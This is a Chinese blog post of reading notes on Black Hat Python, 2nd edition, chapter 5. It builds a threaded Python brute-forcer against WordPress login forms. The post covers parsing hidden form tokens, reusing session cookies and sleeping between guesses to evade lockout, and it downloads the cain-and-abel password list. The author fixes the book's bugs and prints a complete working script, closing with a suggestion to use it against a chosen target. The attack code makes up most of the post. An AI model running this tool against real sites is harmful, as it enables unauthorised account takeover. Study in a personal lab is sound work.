黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(4)暴力破解HTML表单身份验证

黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第五章 WEB黑客(4)暴力破解HTML表单身份验证



写在前面

在我们的渗透测试职业生涯中,我们可能会需要访问一个目标,或者我们正在咨询/评估现有web系统的密码强度。web系统越来越普遍地使用了防暴力破解的保护,无论是captcha、简单的数学公式,或者是必须随请求提交的登录令牌。有许多暴力工具可以对登录脚本的POST请求进行暴力破解,但在很多情况下这些工具不够灵活,无法处理动态内容,以及 “你是人吗?”这类简单检查。接下来我们将创建一个简单的暴力工具,它将对WordPress有用。虽然现代WordPress系统包括一些基本的反暴力技术,但默认情况下仍然缺少帐户锁定或强captcha。
为了能够暴力破解WordPress,我们的工具需要满足两个要求:它必须在提交密码尝试之前从登录表单中解析出隐藏的令牌,并且必须确保我们在HTTP会话中接受cookie。远程应用程序在第一次访问时设置一个或多个cookie,并且在登录尝试时会期望将cookie返回。为了解析出登录表单中的信息,我们将使用前面“lxml和BeautifulSoup包”一节中介绍的lxml包。

分析WordPress登录表单

我们可以通过浏览http://<域名>/wp-login.php/找到它。我们可以使用浏览器的工具“查看源代码”来查找HTML结构。例如,如果使用Firefox浏览器,选择“Tools/Web Developer/Inspector”。为了简洁起见,下面的示例中只包括了相关的表单元素(这里借用原书中的内容,前面安装的wordpress刚刚被我销毁了,看来后面还是要用到的,说出来都是泪啊!):
在这里插入图片描述
通过上面的表单,我们可以获得一些有价值的信息,我们需要将这些信息整合到我们的暴力工具中。首先,表单作为HTTP POST提交到/wp-login.php路径。接下来的元素是表单提交成功所需的所有字段:log字段是代表用户名的变量,pwd字段是代表密码的变量,wp-submit指的是submit按钮,testcookie是测试cookie的变量(请注意,这个元素的属性是hidden,说明在表单上是隐藏的)。

对抗反暴力破解

当我们通过表单跟服务器交互时,服务器还设置了其它的cookie;当我们提交表单数据时,服务器希望再次收到这些cookie。这是WordPress反暴力破解技术的关键,站点根据当前的用户会话检查cookie,因此即使我们将正确的用户凭据传递到登录处理程序中,如果cookie不存在或者是错误的,身份验证也会失败。当普通用户登录时,浏览器会自动处理这些cookie,因此我们必须在暴力工具中实现这种行为。这里我们将使用requests库的Session对象自动处理cookie。
为了能够成功对抗WordPress的反暴力破解,我们将依赖暴力工具中的以下请求流程:

  1. 检索登录页面并接受返回的所有cookie。
  2. 从HTML中解析出所有表单元素。
  3. 根据字典猜测用户名和/或密码。
  4. 向登录处理脚本发送HTTP POST,包括所有HTML表单字段和我们存储的cookie。
  5. 测试我们是否已成功登录web应用程序。

cain单词列表

Cain & Abel是一个仅限Windows下试用的密码恢复工具,它包含一个名为cain.txt的大型暴力破解密码单词表。我们将会使用这个文件来进行密码猜测,可以直接从Daniel Miessler的GitHub存储库SecLists下载(这个下载还算比较顺利):

wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Software/cain-and-abel.txt

顺便说一下,SecLists还包含许多其他的单词表,建议在将来的黑客生涯中浏览一下这个repo。
我们将在这个脚本中使用一些新的、有价值的技术;另外我们还会提到,不应该在活动目标(生产环境)上测试工具;我们应当始终安装自己的测试环境,然后使用已知凭据设置并验证我们的工具获得了期望的结果。

创建工具脚本

下面我们创建一个名为wordpress_killer.py的脚本,并输入下面的代码:

from io import BytesIO
from lxml import etree
from queue import Queue

import requests
import sys
import threading
import time

SUCCESS = 'Welcome to WordPress!'
TARGET = 'http://boodelyboo.com/wordpress/wp-login.php'
WORDLIST = '/home/kali/Downloads/cain-and-abel.txt'

def get_words():
    with open(WORDLIST) as f:
        raw_words = f.read()
    
    words = Queue()
    for word in raw_words.split():
        words.put(word)
    return words

def get_params(content):
    params = dict()
    parser = etree.HTMLParser()
    tree = etree.parse(BytesIO(content), parser=parser)
    # find all input elements
    for elem in tree.findall('//input'):
        name = elem.get('name')
        if name is not None:
            params[name] = elem.get('value', None)
    return params

这些常规设置值得解释一下,TARGET变量是脚本从中下载并解析HTML的URL,SUCCESS变量是一个字符串,我们将在每次暴力强制尝试后在响应内容中检查它,以确定是否成功。
get_words函数看起来应该很熟悉,因为我们在前面的暴力破解文件与目录一节中使用了类似的形式。get_params函数接收HTTP响应内容,然后进行解析,并循环遍历所有的输入元素,以创建需要填充的参数字典。

Bruter类

现在让我们为暴力工具创建管道;下面的一些代码将与前面上一节的暴力工具中的代码类似,因此重点介绍新出现的技术和手法

class Bruter:
    def __init__(self, username, url):
        self.username = username
        self.url = url
        self.found = False
        print(f'\nBrute Force Attack beginning on {url}.\n')
        print('Finished the setup where username = %s\n' % username)
    
    def run_bruteforce(self, passwords):
        for _ in range(10):
            t = threading.Thread(target=self.web_bruter, args=(passwords,))
            t.start()
    
    def web_bruter(self, passwords):
        session = requests.Session()
        resp0 = session.get(self.url)
        params = get_params(resp0.content)
        params['pwd'] = passwords

        while not passwords.empty() and not self.found:
            time.sleep(5)
            passwd = passwords.get()
            print(f'Trying username/password {self.username}/{passwd:<10}')
            params['pwd'] = passwd

            resp1 = session.post(self.url, data=params)
            if SUCCESS in resp1.content.decode():
                self.found = True
                print(f"\nBruteforcing successful.")
                print("Username is %s" % self.username)
                print("Password is %s" % brute)
                print("done: now cleaning up other threads...")

这是我们主要的暴力破解类,它将处理所有的HTTP请求并管理cookie。执行暴力登录攻击的web_bruter方法的工作分三个阶段进行。
在__init__方法中,我们从requests库初始化一个Session对象,它将自动为我们处理cookie。然后,程序发出解析登录表单的初始请求;当接收到原始HTML内容时,程序将其传递给get_params函数,该函数解析参数的内容并返回检索到的所有表单元素的字典。成功解析HTML之后,替换username参数,接下来开始循环密码猜测。
在循环阶段,程序先休眠几秒钟,以尝试绕过帐户锁定;然后从队列中弹出一个密码,并使用它来完成参数字典的填充,当队列中没有更多密码时线程退出。
在请求阶段,我们使用参数字典发出post请求,获取到身份验证尝试的响应后,我们将分析身份验证是否成功,即解析内容中是否包含我们之前定义好的表示成功的字符串。如果成功并且字符串存在,程序将清除队列,以便其它线程可以快速完成并返回。

完善暴力工具(main代码块)

要完成WordPress暴力工具,我们还需要添加以下代码:

if __name__ == '__main__':
    words = get_words()
    b = Bruter('tim', url)
    b.run_bruteforce(words)

说明:原书中这里代码有点小问题,主函数和全局变量中都没有定义变量url,后面验证的时候证明,这里应该是前面定义的TARGET。
就是这样!我们将用户名和url传递给Bruter类,并使用从单词列表创建的队列暴力破解应用程序,下面我们看一下会发生什么奇迹。

HTMLParser

在本节的示例中,我们使用requests和lxml包发出HTTP请求,并解析结果内容。但是,如果我们无法安装这两个软件包而必须依赖标准库应该怎么办呢?正如我们在本章开头提到的,我们可以使用urllib发出请求,但我们需要使用标准库html.parser.HTMLParser来定义自己的解析器。
使用HTMLParser类时,可以实现三个主要方法:handle_starttag、handle_endtag和handle_data。每当遇到打开的HTML标签时,都会调用handle_starttag函数;而handle_endtag函数则相反,每次遇到关闭的HTML标签时都会调用该函数;当标记之间存在原始文本时,将调用handle_data函数。每个函数的原型略有不同,如下所示:

handle_starttag(self, tag, attributes)
handle_endttag(self, tag)
handle_data(self, data)

这里用一个简单的例子来说明一下:
在这里插入图片描述
有了对HTMLParser类的基本理解,我们可以执行诸如解析表单、通过爬虫查找链接、提取用于数据挖掘的所有纯文本,或查找页面中的所有图像等操作。

小试牛刀

如果你的Kali VM上没有安装WordPress,那么现在就安装它。另外,在boodelyboo.com上临时托管了一个WordPress,预设用户名为tim,密码为1234567,这个密码刚好在cain.txt文件中,运行脚本时,得到以下输出:
说明:其实目前上面的boodelyboo.com已经不可达了,我自己搭建了一个wordpress,用户名和密码也不是上述,先在不修改密码单词表的情况下暴力一把看看,如下图所示,它已经在勤奋的工作啦。
在这里插入图片描述
为了节省时间,我们结束掉脚本的运行,修改一下cain.txt文件,即把我们的密码添加到cain.txt文件中去,然后再次运行脚本,竟然直接跳过去了,跟预期的不太一样,如下图。
在这里插入图片描述
先检查一下脚本是否又出乌龙了,跟原书脚本完全一致,直接运行原书的脚本发现也会出现同样的问题。
那接下来就好好定位一下问题吧。首先修改线程数为1(便于查看日志);然后打印出要在post请求总提交的参数字典,以及post请求的整个响应消息;最后吧目标的密码放到单词列表的第一个。然后运行脚本,从打印的返回消息看,应该是登录成功的,如下图。
在这里插入图片描述
这跟我手动登录成功以后展示的内容完全一致啊!请看下图。
在这里插入图片描述
这说明是登录成功了的,看来是登录成功的断言设置有问题,回去检查一下。发现代码中的登录成功的断言是“if SUCCESS in resp1.content.decode():”,即当post提交表单的请求的响应内容中包含SUCCESS时,就认为登录成功了,可是当我把整个resp1.content.decode()打印出来,也没有找到SUCCESS,问题应该就是出在这里。分析整个resp1.content.decode()的内容,发现有“编辑个人资料”和“注销”,直接用这两个作为登录成功的断言是不是更加靠谱呢?如下图,做完上述调整之后再次运行脚本,成功啦!
在这里插入图片描述
不过这里出现一个异常,顺藤摸瓜发现了原书代码中的另一个小错误,修改以后,正常执行,结果如下图,很完美(我顺便吧预期的正确密码放到了单词列表的后面,线程修改成了原来的10)。
在这里插入图片描述
我们可以看到脚本成功地使用暴力并登录到WordPress控制台。要验证它是否有效,您应该使用这些凭据手动登录。在本地测试并确定它能正常工作后,我们可以针对选择的目标WordPress使用此工具。

完整代码

作为惯例,放上可运行的原始代码

from email import parser
from io import BytesIO
from urllib import request
from lxml import etree
from queue import Queue

import requests
import sys
import threading
import time

SUCCESS = 'Welcome to WordPress!'
# TARGET = 'http://boodelyboo.com/wordpress/wp-login.php'
TARGET = 'http://www.lpxwordpress.net/wp-login.php'
WORDLIST = '/home/kali/Downloads/cain-and-abel.txt'

def get_words():
    with open(WORDLIST) as f:
        raw_words = f.read()
    
    words = Queue()
    for word in raw_words.split():
        words.put(word)
    return words

def get_params(content):
    params = dict()
    parser = etree.HTMLParser()
    tree = etree.parse(BytesIO(content), parser=parser)
    # find all input elements
    for elem in tree.findall('//input'):
        name = elem.get('name')
        if name is not None:
            params[name] = elem.get('value', None)
    return params

class Bruter:
    def __init__(self, username, url):
        self.username = username
        self.url = url
        self.found = False
        print(f'\nBrute Force Attack beginning on {url}.\n')
        print('Finished the setup where username = %s\n' % username)
    
    def run_bruteforce(self, passwords):
        for _ in range(10):
            t = threading.Thread(target=self.web_bruter, args=(passwords,))
            t.start()
    
    def web_bruter(self, passwords):
        session = requests.Session()
        resp0 = session.get(self.url)
        params = get_params(resp0.content)
        params['log'] = self.username

        while not passwords.empty() and not self.found:
            time.sleep(5)
            passwd = passwords.get()
            print(f'Trying username/password {self.username}/{passwd:<10}')
            params['pwd'] = passwd

            resp1 = session.post(self.url, data=params)
            # if SUCCESS in resp1.content.decode():
            resp1_txt = resp1.content.decode()
            if ('wp-admin-bar-edit-profile' in resp1_txt) and ('wp-admin-bar-logout' in resp1_txt):
                self.found = True
                print(f"\nBruteforcing successful.")
                print("Username is %s" % self.username)
                print("Password is %s" % passwd)
                print("done: now cleaning up other threads...")

if __name__ == '__main__':
    words = get_words()
    b = Bruter('lpx', TARGET)
    b.run_bruteforce(words)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值